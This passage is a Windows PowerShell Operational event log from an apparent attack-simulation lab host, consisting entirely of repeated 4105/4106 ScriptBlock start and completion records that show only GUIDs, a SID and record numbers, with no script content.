09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041430
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041429
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041424
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041423
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041399
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041398
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041397
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041396
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041380
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
